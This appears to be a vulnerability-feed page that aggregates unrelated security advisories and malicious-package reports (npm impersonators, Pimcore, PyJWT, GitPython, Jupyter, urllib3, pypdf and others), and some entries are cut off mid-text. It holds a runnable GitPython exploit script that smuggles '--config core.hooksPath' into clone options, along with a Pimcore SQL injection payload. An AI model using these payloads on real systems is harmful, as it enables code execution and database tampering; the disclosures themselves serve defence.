Search: com.py

The npm package 'buffer-utilities' impersonates the legitimate 'buffer' package by copying its metadata and advertises itself as a Node.js Buffer API for browsers. Upon being required, it fetches and executes JavaScript code from a mutable external JSON paste service (jsonkeeper.com) using eval(), allowing remote code execution with full process privileges. This behavior enables an attacker controlling the paste to execute arbitrary code on any system importing this package. The package versions 1.0.0, 1.1.0, and 1.1.1 are affected. Removal of the package is recommended, but full system compromise is possible, so secrets and keys should be rotated immediately from a separate trusted environment.

My name is Oscar Uribe, Security Researcher at Fluid Attacks. I am reaching out because we have identified a security vulnerability in Pimcore 12.3.3 that we would like to report to you so we can coordinate a responsible disclosure together. As part of our standard disclosure measures, we follow a timeline (outlined at https://fluidattacks.com/advisories/policy), which is aligned with ISO/IEC 29147:2018 and ISO/IEC 30111:2019. In short, the timeline works as follows: we ask for acknowledgment of the report within a few days of your first accessing it, and from there, we are happy to coordinate a joint disclosure date with you, typically within 90 days of the initial discovery. This gives your team reasonable time to assess, develop, and release a fix. We have reserved the CVE ID **"CVE-2026-5394"** for this issue, and the advisory will eventually be published at [https://fluidattacks.com/advisories/dragons](https://fluidattacks.com/advisories/dragons). We are committed to coordinating the timing of that publication with you. Please feel free to reach out if you have any questions about the report, the process, or the timeline. We are glad to work with you on this. ## Description An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend. The vulnerable flow accepts `compositeIndices` from imported JSON, stores the values without strict validation, and later concatenates them directly into `ALTER TABLE ... DROP INDEX` and `ALTER TABLE ... ADD INDEX` statements executed through Doctrine DBAL. Although the original report focused on `compositeIndices.index_key`, independent code review shows that the strongest and most reliable injection point is `compositeIndices.index_columns`, because it is inserted verbatim inside the `ADD INDEX (...)` clause. This permits injection of additional `ALTER TABLE` subclauses against Pimcore object tables without relying on stacked queries. ## Vulnerability ### Root cause 1. Source: - `Pimcore\Model\DataObject\ClassDefinition\Service::importClassDefinitionFromJson()` accepts `compositeIndices` directly from imported JSON. 2. Assignment: - `Pimcore\Model\DataObject\ClassDefinition::setCompositeIndices()` does not enforce an allowlist for index names or column names. - The only special handling is a ManyToOne relation rewrite to `__id` and `__type`, which is not a security control. 3. Sink: - `Pimcore\Model\DataObject\Traits\CompositeIndexTrait::updateCompositeIndices()` builds raw SQL with string concatenation and executes it via `$this->db->executeQuery(...)`. 4. Missing protection: - `quoteIdentifier()` is used for the `SHOW INDEXES` query, but not for the dynamic `ALTER TABLE` statements. - No server-side schema validation restricts `index_key` or `index_columns` to known safe identifier characters. ### Confirmed source-to-sink path 1. `importClassDefinitionFromJson()` decodes attacker-controlled JSON and forwards `compositeIndices`. 2. `setCompositeIndices()` stores those values without sanitizing identifier content. 3. `ClassDefinition::save()` reaches `ClassDefinition\Dao::update()`. 4. `Dao::update()` calls `updateCompositeIndices()` for: - `object_store_<classId>` - `object_query_<classId>` 5. `Localizedfield\Dao` also calls `updateCompositeIndices()` for: - localized query tables - localized store tables ### Why this is exploitable The vulnerable `ADD INDEX` statement is built as: ```php 'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');' ``` `$columnName` is produced from `implode(',', $columns)` and is not quoted or validated. A malicious `index_columns` element such as: ```text slider), DROP COLUMN `oo_className` -- ``` produces SQL of the form: ```sql ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- ); ``` This remains a single `ALTER TABLE` statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table. ### Impact The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class. Practical impact includes: - unauthorized schema modification on object query/store tables - backend denial of service by breaking expected table layout - data integrity impact for DataObject storage and queries `index_key` is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through `index_columns`. Relevant code: - `models/DataObject/ClassDefinition/Service.php:92-137` - `models/DataObject/ClassDefinition.php:994-1006` - `models/DataObject/Traits/CompositeIndexTrait.php:30-85` - `models/DataObject/ClassDefinition/Dao.php:217-218` - `models/DataObject/Localizedfield/

### Impact An attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires parsing large XMP metadata, possibly with lots of unnecessary elements. ### Patches This has been fixed in [pypdf==6.12.1](https://github.com/py-pdf/pypdf/releases/tag/6.12.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3796](https://github.com/py-pdf/pypdf/pull/3796).

> [!NOTE] > Practical impact depends on whether request body-size limits are enforced upstream (proxy/web-server/framework). Deployments with typical body-size caps (≤2 MB) bound the amplifier significantly; deployments accepting larger token inputs are more exposed. When verifying detached JWS tokens using the unencoded-payload option (`"b64": false`, RFC 7797), PyJWT performs **Base64URL decoding of the compact-serialization payload segment** *before* enforcing the detached-payload rules. For `b64=false`, PyJWT later **discards** that decoded payload and replaces it with the caller-provided `detached_payload`. In practice, this turns the middle segment into an attacker-controlled “work amplifier”: a remote client can supply an arbitrarily large Base64URL payload segment that forces **CPU work + memory allocations** even if the signature is invalid. This creates an **unauthenticated DoS** vector against any endpoint that verifies detached JWS using PyJWT. --- ## Affected Component(s) * `jwt/api_jws.py` * `PyJWS.decode()` / `PyJWS.decode_complete()` * `_load()` (parsing and Base64URL decoding) --- ## Root Cause (exact logic flaw) ### What happens in the code In `jwt/api_jws.py`, `decode_complete()` does the following (order matters): * Calls `_load(jwt)` first, which decodes the token segments * Only after that, checks `header.get("b64")` and if `False`, it replaces `payload = detached_payload` and rebuilds the signing input This behavior is visible in `decode_complete()`: * `_load(jwt)` happens **before** the `b64=false` handling * then `payload = detached_payload` and `signing_input = ... detached_payload` happens afterward ([GitHub][1]) Inside `_load()`, PyJWT unconditionally performs: * `payload = base64url_decode(payload_segment)` This is the expensive step the attacker can amplify ([GitHub][1]) ### Why this becomes a vulnerability For `b64=false` detached JWS, the payload segment in compact form is effectively **not needed** for verification in PyJWT’s own logic (since the library uses `detached_payload` as the real payload). Yet PyJWT still decodes it first, meaning: * cost is paid **even when signature is invalid** * the decoded bytes are **discarded** * attacker controls the size of this cost via token length --- ## Impact (evidence-driven) ### Security impact * **Unauthenticated remote DoS**: decoding work happens before signature rejection → attacker does not need signing key. * **CPU amplification**: Base64URL decode time scales linearly with payload segment size. * **Memory amplification**: decoded output allocates large byte buffers (tens of MB per request). * **Operational impact**: request queueing / worker starvation under modest concurrency bursts. ### Standards context (RFC 7797) RFC 7797 explicitly notes this option is used when payload is large and/or detached, and discusses interoperability requirements around marking it critical (“crit” with “b64”). ([IETF Datatracker][2]) (PyJWT supports `crit` validation, but the issue here is decode order / unbounded decode of an unused segment.) --- ## Affected Versions * **Confirmed affected:** PyJWT **2.12.1** (tested from your local editable install and repo). * **Likely affected:** all versions that include detached payload support for JWS decoding, which was introduced in **2.4.0** (“Add detached payload support for JWS encoding and decoding”). ([pyjwt.readthedocs.io][3]) (For GHSA, this phrasing is strong: “confirmed” + “likely since feature introduction”.) --- # Threat Model ### Typical real deployment A service verifies signed HTTP requests or webhooks using detached JWS: * token is provided in JSON body / query / header * actual payload is the HTTP request body passed as `detached_payload` ### Attacker * remote unauthenticated client * can send requests to verify endpoint * does **not** need a valid signature (invalid signature still triggers the expensive decode path) ### Attack chain 1. Attacker crafts a JWS compact token with header containing `"b64": false` and `crit:["b64"]`. 2. Attacker inflates the **payload segment** (middle segment) to millions of Base64URL characters. 3. Server calls `PyJWS.decode(...detached_payload=...)`. 4. PyJWT decodes the inflated segment (CPU + memory). 5. Signature is rejected afterward (401) — but resources already consumed. 6. Repeated requests or bursts cause queueing/worker starvation → DoS. --- # Proof of Concept - file names + results ## PoC placement * [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) * [client_localhost.py](https://github.com/user-attachments/files/26132757/client_localhost.py) * [flood_localhost.py](https://github.com/user-attachments/files/26132760/flood_localhost.py) --- ## PoC # 1 - Localhost verification server **File:** [server_localhost.py](https://github.com/user-attachments/files/26132755/server_localhost.py) **Purpose:** real HTTP endpoint (`POST /verify`) that calls PyJ

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (d747cc7acd8bbc1defbf475aa3202fd332fd43135a6fedddfcc37356ce02eb54) Package presents itself as the legitimate slopus/happy CLI (README instructs `npm install -g happy`; homepage, repository, bugs, and author fields all point at happy.engineering / github.com/slopus/happy), but the published name is ggk-happy and the shipped code has been modified in ways that harm installers: 1. Backend redirection: DEFAULT_SERVER_URL is hardcoded to https://happy-api.ask-ggk.com and DEFAULT_WEBAPP_URL to https://happy.ask-ggk.com — third-party hosts not disclosed in the README, which still references api.cluster-fluster.com. All coding-agent sessions (Claude Code / Codex prompts, source code, auth tokens, machine metadata) flow to ask-ggk.com instead of the publisher advertised in package metadata. 2. Remote-control surface pointed at attacker infrastructure: ApiSessionClient / ApiMachineClient open a socket.io connection to the redirected server and register RPC handlers named `bash`, `readFile`, `writeFile`, `listDirectory`, `getDirectoryTree`, `ripgrep`, `difftastic`. The `bash` handler runs `execAsync(data.command, options)` on parameters supplied by the remote server. Whoever operates happy-api.ask-ggk.com can execute arbitrary shell commands and read/write files on the installer's machine. 3. Install-time auto-takeover: scripts/postinstall.cjs, on global or root install, unconditionally spawns `node bin/happy.mjs install`, running the full auth/registration flow (browser opened to happy.ask-ggk.com, machine registered to happy-api.ask-ggk.com, daemon started) at `npm install -g` time. Auto-takeover is opt-out via env var, not opt-in, so `sudo npm install -g ggk-happy` immediately binds the machine to the third-party backend, with elevated privileges on Linux/macOS root installs. 4. Unpinned binary dropper: RTK_DOWNLOAD_URLS fetches platform-specific `rtk` binaries from https://minio.ask-ggk.com/happy/rtk-*.{zip,tar.gz} (win32/darwin/linux, x64/arm64) with no hash or signature verification, stages them to ~/.local/share/ggkhappy/rtk/bin/rtk (or %LOCALAPPDATA%\ggkhappy\rtk\bin\rtk.exe), and later invokes them via execFile. Purpose of the binary is not documented. 5. Covert identity reporting: readRtkIdentity() reads the installer's machineId from ~/.happy settings and the auth token from ~/.happy/access.key and POSTs them, together with platform/version fields, to https://guguke.ask-ggk.com/api/v1/agent/rtk/gain/report — a side channel to a host not referenced in README documentation. This is not a legitimate fork: the surface identity (name, homepage, repo, README install command) still claims to be slopus/happy, while all backends, the remote-shell RPC destination, the runtime binary source, and the identity reporter have been repointed to ask-ggk.com infrastructure. Installers who follow the README believe they are installing the upstream project and instead grant an undisclosed operator remote code execution over their machine and full visibility into their AI coding sessions.

Red Hat OpenShift Container Platform is Red Hat's cloud computing Kubernetes application platform solution designed for on-premise or private cloud deployments. This advisory contains the RPM packages for Red Hat OpenShift Container Platform 4.17.54. See the following advisory for the container images for this release: https://access.redhat.com/errata/RHSA-2026:17598 Security Fix(es): * golang: net/url: Memory exhaustion in query parameter parsing in net/url (CVE-2025-61726) * crypto/x509: golang: Denial of Service due to excessive resource consumption via crafted certificate (CVE-2025-61729) * pyasn1: pyasn1: Denial of Service due to memory exhaustion from malformed RELATIVE-OID (CVE-2026-23490) * golang: archive/tar: Unbounded allocation when parsing GNU sparse map (CVE-2025-58183) * golang: archive/zip: Excessive CPU consumption when building archive index in archive/zip (CVE-2025-61728) * crypto/tls: crypto/tls: Incorrect certificate validation during TLS session resumption (CVE-2025-68121) For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section. All OpenShift Container Platform 4.17 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.17/html-single/updating_clusters/index#updating-cluster-cli.

* Countermeasures for DPA within SYMCRYPTO engine on SixG301xxx devices are not sufficiently random and will eventually repeat. * KSU keys using SYMCRYPTO will be impacted by this vulnerability.

We strongly recommend the following industry cybersecurity best practices. * Locate control and safety system networks and remote devices behind firewalls and isolate them from the business network. * Install physical controls so no unauthorized personnel can access your industrial control and safety systems, components, peripheral equipment, and networks. * Place all controllers in locked cabinets and never leave them in the “Program” mode. * Never connect programming software to any network other than the network intended for that device. * Scan all methods of mobile data exchange with the isolated network such as CDs, USB drives, etc. before use in the terminals or any node connected to these networks. * Never allow mobile devices that have connected to any other network besides the intended network to connect to the safety or control networks without proper sanitation. * Minimize network exposure for all control system devices and systems and ensure that they are not accessible from the Internet. * When remote access is required, use secure methods, such as Virtual Private Networks (VPNs). Recognize that VPNs may have vulnerabilities and should be updated to the most current version available. Also, understand that VPNs are only as secure as the connected devices. For more information refer to the Schneider Electric [Recommended Cybersecurity Best Practices](https://www.se.com/us/en/download/document/7EN52-0390/) document.

### Impact urllib3's [streaming API](https://urllib3.readthedocs.io/en/2.7.0/advanced-usage.html#streaming-and-i-o) is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API since version 2.6.0, the library decompresses only the necessary bytes, enabling partial content consumption. However, urllib3 before version 2.7.0 could still decompress the whole response instead of the requested portion in two cases: 1. During the second `HTTPResponse.read(amt=N)` call when the response was decompressed using the official [Brotli](https://pypi.org/project/brotli/) library. 2. When `HTTPResponse.drain_conn()` was called after the response had been read and decompressed partially (compression algorithm did not matter here). These issues could cause urllib3 to fully decode a small amount of highly compressed data in a single operation. This could result in excessive resource consumption (high CPU usage and massive memory allocation for the decompressed data; CWE-409) on the client side. ### Affected usages Applications and libraries using urllib3 versions earlier than 2.7.0 may be affected when streaming compressed responses from untrusted sources in either of these cases, unless decompression is explicitly disabled: 1. A response encoded with `br` is read incrementally with at least two `HTTPResponse.read(amt=N)` or `HTTPResponse.stream(amt=N)` calls while using the official [Brotli](https://pypi.org/project/brotli/) library. 2. `HTTPResponse.drain_conn()` is called after response decompression has already started. ### Remediation Upgrade to at least urllib3 version 2.7.0 in which the library: 1. Is more efficient for reads with Brotli. 2. Always skips decompression for `HTTPResponse.drain_conn()`. If upgrading is not immediately possible, the following workarounds may reduce exposure in specific cases: 1. For the Brotli-specific issue only, switch from [brotli](https://pypi.org/project/brotli/) to [brotlicffi](https://pypi.org/project/brotlicffi/) until you can upgrade urllib3; the official Brotli package is affected because of https://github.com/google/brotli/issues/1396. 2. If your code explicitly calls `HTTPResponse.drain_conn()`, call `HTTPResponse.close()` instead when connection reuse is not important. ### Credits The Brotli-specific issue was reported by @kimkou2024. `HTTPResponse.drain_conn()` inefficiency was reported by @Cycloctane.

### Impact A database query used during proxy API key checks mixed the caller-supplied key value into the query text instead of passing it as a separate parameter. An unauthenticated attacker could send a specially crafted `Authorization` header to any LLM API route (for example `POST /chat/completions`) and reach this query through the proxy's error-handling path. An attacker could read data from the proxy's database and may be able to modify it, leading to unauthorised access to the proxy and the credentials it manages. ### Patches Fixed in **`1.83.7`**. The caller-supplied value is now always passed to the database as a separate parameter. Upgrade to `1.83.7` or later. ### Workarounds If upgrading is not immediately possible, set `disable_error_logs: true` under `general_settings`. This removes the path through which unauthenticated input reaches the vulnerable query. ### References - Patched release: [`v1.83.7-stable`](https://github.com/BerriAI/litellm/releases/tag/v1.83.7-stable) **Discovery Credit**: Tencent YunDing Security Lab

### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267.

The backend for Jupyter web applications Security Fix(es): Jupyter Server is the backend for Jupyter web applications. In jupyter_server versions through 2.17.0, the next query parameter in the login flow is insufficiently validated in `LoginFormHandler._redirect_safe()`, which allows redirects to arbitrary external domains via values such as `///example.com`. An attacker can use a crafted login URL to redirect users to a malicious site and facilitate phishing attacks. This issue is fixed in version 2.18.0.(CVE-2025-61669) Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, a path traversal vulnerability in the REST API allows an authenticated user to escape the configured root_dir and access sibling directories whose names begin with the same prefix as the root_dir. For example, with a root_dir named &quot;test&quot;, the API permits access to a sibling directory named &quot;testtest&quot; through a crafted request to the /api/contents endpoint using encoded path components. An attacker can read, write, and delete files in affected sibling directories. Multi-tenant deployments using predictable naming schemes are particularly at risk, as a user with a directory named &quot;user1&quot; could access directories for user10 through user19 and beyond. A user who can choose a single-character folder name could gain access to a significant number of sibling directories. Version 2.18.0 contains a fix. As a workaround, ensure folder names do not share a common prefix with any sibling directory.(CVE-2026-35397) Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, the Origin header validation uses Python&apos;s re.match() to check incoming origins against the allow_origin_pat configuration value. Because re.match() only anchors at the start of the string and does not require a full match, a pattern intended to match only a trusted domain (e.g., trusted.example.com) will also match any origin that begins with that domain followed by additional characters (e.g., trusted.example.com.evil.com). An attacker who controls such a domain can bypass the CORS origin restriction and make cross-origin requests to the Jupyter Server API from an untrusted site. This issue has been fixed in version 2.18.0.(CVE-2026-40110) Jupyter Server is the backend for Jupyter web applications. In versions 2.17.0 and earlier, the secret used to sign authentication cookies is persisted to a static file at ~/.local/share/jupyter/runtime/jupyter_cookie_secret and is never rotated when a user changes their password. After a password reset and server restart, any previously issued authentication cookie remains cryptographically valid because the signing key has not changed. An attacker who has captured a session cookie through any means retains full authenticated access to the server regardless of subsequent password changes. This affects deployments using password-based authentication, particularly shared or public-facing servers where credential rotation is expected to revoke existing sessions. This issue has been fixed in version 2.18.0.(CVE-2026-40934)

In the Linux kernel, the following vulnerability has been resolved: wifi: virt_wifi: remove SET_NETDEV_DEV to avoid use-after-free Currently we execute `SET_NETDEV_DEV(dev, &priv->lowerdev->dev)` for the virt_wifi net devices. However, unregistering a virt_wifi device in netdev_run_todo() can happen together with the device referenced by SET_NETDEV_DEV(). It can result in use-after-free during the ethtool operations performed on a virt_wifi device that is currently being unregistered. Such a net device can have the `dev.parent` field pointing to the freed memory, but ethnl_ops_begin() calls `pm_runtime_get_sync(dev->dev.parent)`. Let's remove SET_NETDEV_DEV for virt_wifi to avoid bugs like this: ================================================================== BUG: KASAN: slab-use-after-free in __pm_runtime_resume+0xe2/0xf0 Read of size 2 at addr ffff88810cfc46f8 by task pm/606 Call Trace: <TASK> dump_stack_lvl+0x4d/0x70 print_report+0x170/0x4f3 ? __pfx__raw_spin_lock_irqsave+0x10/0x10 kasan_report+0xda/0x110 ? __pm_runtime_resume+0xe2/0xf0 ? __pm_runtime_resume+0xe2/0xf0 __pm_runtime_resume+0xe2/0xf0 ethnl_ops_begin+0x49/0x270 ethnl_set_features+0x23c/0xab0 ? __pfx_ethnl_set_features+0x10/0x10 ? kvm_sched_clock_read+0x11/0x20 ? local_clock_noinstr+0xf/0xf0 ? local_clock+0x10/0x30 ? kasan_save_track+0x25/0x60 ? __kasan_kmalloc+0x7f/0x90 ? genl_family_rcv_msg_attrs_parse.isra.0+0x150/0x2c0 genl_family_rcv_msg_doit+0x1e7/0x2c0 ? __pfx_genl_family_rcv_msg_doit+0x10/0x10 ? __pfx_cred_has_capability.isra.0+0x10/0x10 ? stack_trace_save+0x8e/0xc0 genl_rcv_msg+0x411/0x660 ? __pfx_genl_rcv_msg+0x10/0x10 ? __pfx_ethnl_set_features+0x10/0x10 netlink_rcv_skb+0x121/0x380 ? __pfx_genl_rcv_msg+0x10/0x10 ? __pfx_netlink_rcv_skb+0x10/0x10 ? __pfx_down_read+0x10/0x10 genl_rcv+0x23/0x30 netlink_unicast+0x60f/0x830 ? __pfx_netlink_unicast+0x10/0x10 ? __pfx___alloc_skb+0x10/0x10 netlink_sendmsg+0x6ea/0xbc0 ? __pfx_netlink_sendmsg+0x10/0x10 ? __futex_queue+0x10b/0x1f0 ____sys_sendmsg+0x7a2/0x950 ? copy_msghdr_from_user+0x26b/0x430 ? __pfx_____sys_sendmsg+0x10/0x10 ? __pfx_copy_msghdr_from_user+0x10/0x10 ___sys_sendmsg+0xf8/0x180 ? __pfx____sys_sendmsg+0x10/0x10 ? __pfx_futex_wait+0x10/0x10 ? fdget+0x2e4/0x4a0 __sys_sendmsg+0x11f/0x1c0 ? __pfx___sys_sendmsg+0x10/0x10 do_syscall_64+0xe2/0x570 ? exc_page_fault+0x66/0xb0 entry_SYSCALL_64_after_hwframe+0x77/0x7f </TASK> This fix may be combined with another one in the ethtool subsystem: https://lore.kernel.org/all/20260322075917.254874-1-alex.popov@linux.com/T/#u

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (aaba59a63a7a6f3dfc734a55082dff17dbf357f41b2a09ef0c87f73d046088e1) On require(), path.js executes an IIFE that calls loadTokenData(), which fetches a base64-obfuscated URL (decoding to https://www.jsonkeeper.com/b/CWOV9), parses the JSON response, and passes data.content directly to eval(). The remote paste is mutable by whoever controls the jsonkeeper entry, so any installer that imports the package executes arbitrary attacker-controlled JavaScript in-process at import time. The package name impersonates Node's built-in `path` module and the README claims to be 'an exact copy of the NodeJS path module', increasing the chance of accidental installation by developers seeking a path polyfill. ## Source: ghsa-malware (256c0d663976ed956c5fde6343acb9a6e640443a0091911fd4a2a57ab49e14f3) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (db91c8a40ff204e2aa98c594413d69b624d93a4ac51ea09fc00b1d3f63b8e462) The OpenSSF Package Analysis project identified 'path-internal-util' @ 1.0.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity. - The package executes one or more commands associated with malicious behavior.

This update for rclone fixes the following issues: Changes in rclone: - Update to version 1.73.5: * Version v1.73.5 * operations: add AuthRequired to operations/fsinfo to prevent backend creation CVE-2026-41179 * rc: snapshot NoAuth at startup to prevent runtime auth bypass CVE-2026-41176 * rc: add AuthRequired to options/set to prevent auth bypass CVE-2026-41176 * s3: fix empty delimiter parameter rejected by Archiware P5 server * azureblob/auth: add Microsoft Partner Network User-Agent prefix * drime: fix User.EntryPermissions JSON unmarshalling * filter: fix debug logs that fire before logger is configured - fixes #9291 * s3: fix TencentCOS CDN endpoint failing on bucket check * iclouddrive: fix 'directory not found' error when the directory contains accent marks * Start v1.73.5-DEV development - Update to version 1.73.4: * Version v1.73.4 * Update to go 1.25.9 to fix multiple CVEs * build: fix Denial of Service due to Panic in AWS SDK for Go v2 SDK EventStream Decoder * docs: fix markdown issues in mount docs * docs: fix header level for metadata option * fix(docs): Fix link to not be language specific * filen: update SDK version * build(deps): bump golang.org/x/image from 0.36.0 to 0.38.0 * docs: note macOS 10.15 (Catalina) support with version v1.70.3 * Start v1.73.4-DEV development - Update to version 1.73.3: (CVE-2026-33186 GHSA-6g7g-w4f8-9c9x) * Version v1.73.3 * build(deps): bump github.com/buger/jsonparser from 1.1.1 to 1.1.2 * docs/jottacloud: fix broken link * docs: clarify Filen password change requires updating both password and API key in rclone config * docs: note that Filen API key changes on password change * build(deps): bump google.golang.org/grpc from 1.79.1 to 1.79.3 * s3: add multi tenant support for Cubbit * lib/rest: fix URLPathEscapeAll breaking WebDAV servers (eg nzbdav) with strict path matching * list: fix nil pointer panic in Sorter when temp file creation fails * docs: update RELEASE procedure to avoid mistakes * docs: added text to the label showing version-introduced info * Start v1.73.3-DEV development * docs: update sponsors - Update to version 1.73.2: * Version v1.73.2 * Update to go 1.25.8 to fix multiple CVEs * build: update to golang.org/x/net v0.51.0 to fix CVE-2026-27141 #9220 * docs: fix new drive flag typo in changelog * webdav: add missing headers for CORS * docs: Document unsupported S3 object keys with double slashes * docs: note that --use-server-modtime only works on some backends * internxt: fix Entry doesn't belong in directory errors on windows * drime: fix chunk-uploaded files ignoring workspace ID * docs: Fix headers hierarchy for mount.md * webdav: escape reserved characters in URL path segments * bisync: add group Sync to the bisync command * archive: extract: strip "./" prefix from tar entry paths * docs: add instructions on how to update Go version * buid: update github.com/cloudflare/circl to v1.6.3 to fix CVE-2026-1229 * Start v1.73.2-DEV development - Update to version 1.73.1: * Version v1.73.1 * build: fix build using go 1.26.0 instead of go 1.25.7 * fs/march: fix runtime: program exceeds 10000-thread limit * accounting: fix missing server side stats from core/stats rc * pacer: re-read the sleep time as it may be stale * pacer: fix deadlock between pacer token and --max-connections * build: fix CVE-2025-68121 by updating go to 1.25.7 or later - fixes #9167 * drime: fix files and directories being created in the default workspace * docs: update sponsors * copyurl: Extend copyurl docs with an example of CSV FILENAMEs starting with a path. * internxt: implement re-login under refresh logic, improve retry logic - fixes #9174 * docs: add ExchangeRate-API as a sponsor * build: bump github.com/go-chi/chi/v5 from 5.2.3 to 5.2.5 to fix GO-2026-4316 * Set list_version to 2 for FileLu S3 configuration * filelu: add multipart upload support with configurable cutoff * filelu: add multipart init response type * filelu: add comment for response body wrapping * filelu: avoid buffering entire file in memory * docs: update sponsor logos * filen: fix potential panic in case of error during upload * filen: fix 32 bit targets not being able to list directories Fixes #9142 * Start v1.73.1-DEV development - Update to version 1.73.0: * Version v1.73.0 * drive: fix crash when trying to creating shortcut to a Google doc * azureblob,azurefiles: factor the common auth into a library * test: allow backends to return fs.ErrorCantListRoot to skip Root tests * build: add privatebeta Makefile target * docs: add Internxt as a sponsor * internxt: remove use of CVE laden github.com/disintegration/imaging * docs: fix Internxt docs after merge * docs: update making a new backend docs * docs: build overview page from the backend data * docs: add tiering to the documentation - fixes #8873 * docs: add data about ea

A sophisticated ClickFix campaign was detected in mid-March 2026, beginning with a malicious webpage impersonating Booking.com's visual identity with a fake CAPTCHA. The attack leverages social engineering to trick victims into executing a PowerShell command that downloads and runs a script directly in memory. The JavaScript code automatically copies malicious commands to the clipboard and intercepts copy events. Once executed, the PowerShell dropper performs system fingerprinting, downloads a ZIP payload from a remote server, deploys it to user directories, establishes persistence through registry keys and scheduled tasks, and executes the final payload. The campaign demonstrates well-structured code with fallback mechanisms and real-time telemetry via Telegram, suggesting the use of a ready-to-use attack kit.

### Impact An attacker who uses this vulnerability can craft a PDF which leads to the RAM being exhausted. This requires accessing an image using `/FlateDecode` with large size values. ### Patches This has been fixed in [pypdf==6.10.2](https://github.com/py-pdf/pypdf/releases/tag/6.10.2). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3734](https://github.com/py-pdf/pypdf/pull/3734).

### Impact An attacker who uses this vulnerability can craft a PDF which leads to long runtimes. This requires cross-reference streams with wrong large `/Size` values or object streams with wrong large `/N` values. ### Patches This has been fixed in [pypdf==6.10.1](https://github.com/py-pdf/pypdf/releases/tag/6.10.1). ### Workarounds If you cannot upgrade yet, consider applying the changes from PR [#3733](https://github.com/py-pdf/pypdf/pull/3733).

